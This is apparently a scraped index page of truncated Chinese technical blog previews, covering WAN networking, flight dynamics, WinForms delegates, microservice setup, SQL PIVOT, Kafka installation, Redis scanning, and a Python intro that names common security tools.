近年来&#xff0c;企业网络通信需求可谓五花八门&#xff0c;变幻莫测。它不仅为企业的生产、办公、研发、销售提供全面赋能&#xff0c;同时也让企业业务规模变大成为了可能。今天&#xff0c;我们来聊聊广域网中两个不可忽视的概念&#xff1a;连接&#xff08;Connection&a…

飞行动力学 - 第20节-part3-机翼位置及尾翼对横向稳定性影响 之 基础点摘要

飞行动力学 - 第20节-part3-机翼位置及尾翼对横向稳定性影响 之 基础点摘要 1. 翼身干扰2. 平尾贡献3. 尾翼贡献4. 参考资料 1. 翼身干扰 - 机翼垂直位置 上单翼&#xff0c;增稳 下单翼&#xff0c;降低稳定性 上反角 增稳 正比于上反角 下反角 降低稳定性 反比于上反角 后掠…

【窗体】Winform两个窗体之间通过委托事件进行值传递,基础篇

2023年&#xff0c;第38周。给自己一个目标&#xff0c;然后坚持总会有收货&#xff0c;不信你试试&#xff01; 在实际项目中&#xff0c;我们可能会用到一些窗体做一些小工具或者小功能。比如&#xff1a;运行程序&#xff0c;在主窗体A基础上&#xff0c;点击某个按钮希望能…

idea创建一个微服务项目

idea创建一个微服务项目 前提&#xff1a;懂得创建基于pom 的 springboot项目 1.像平时创建Maven项目一样创建一个项目 2.删掉src文件&#xff0c;只剩下下面的东西 3.基于这个项目创建model&#xff0c;model也是一个Maven项目&#xff0c;基于springboot mvc 都行&#xff…

工作中有许多比较常用的SQL脚本

工作中有许多比较常用的SQL脚本&#xff0c;今天开始分几章分享给大家。 1、行转列的用法PIVOTCREATE table test (id int,name nvarchar(20),quarter int,number int) insert into test values(1,N苹果,1,1000) insert into test values(1,N苹果,2,2000) insert into test va…

01-Kafaka

1、Kafka 2 的安装与配置 1、上传kafka_2.12-1.0.2.tgz到服务器并解压&#xff1a; tar -zxf kafka_2.12-1.0.2.tgz -C /opt 2、配置环境变量并更新&#xff1a; 编辑profile配置文件&#xff1a; vim /etc/profile #设置kafka的环境变量export KAFKA_HOME/opt/kafka_2.1…

Redis——渐进式遍历和数据库管理命令

介绍 如果使用keys * 这样的操作&#xff0c;将Redis中所有的key都获取到&#xff0c;由于Redis是单线程工作&#xff0c;这个操作本身又要消耗很多时间&#xff0c;那么就会导致Redis服务器阻塞&#xff0c;后续的操作无法正常执行 而渐进式遍历&#xff0c;通过多次执行遍历…

Python灰帽编程——初识Python上

1. Python 简介 常用安全工具语言示例perljoomscan whatwebrubymetasploit-frameworkpythonsqlmap pocsuite3gogoby 1.1 Python 起源 1.1.1 语言的作者 贵铎范罗萨姆&#xff08;Guido van Rossum&#xff09;荷兰人于1989 年圣诞节始创了python。 大神就是大神&#xff0…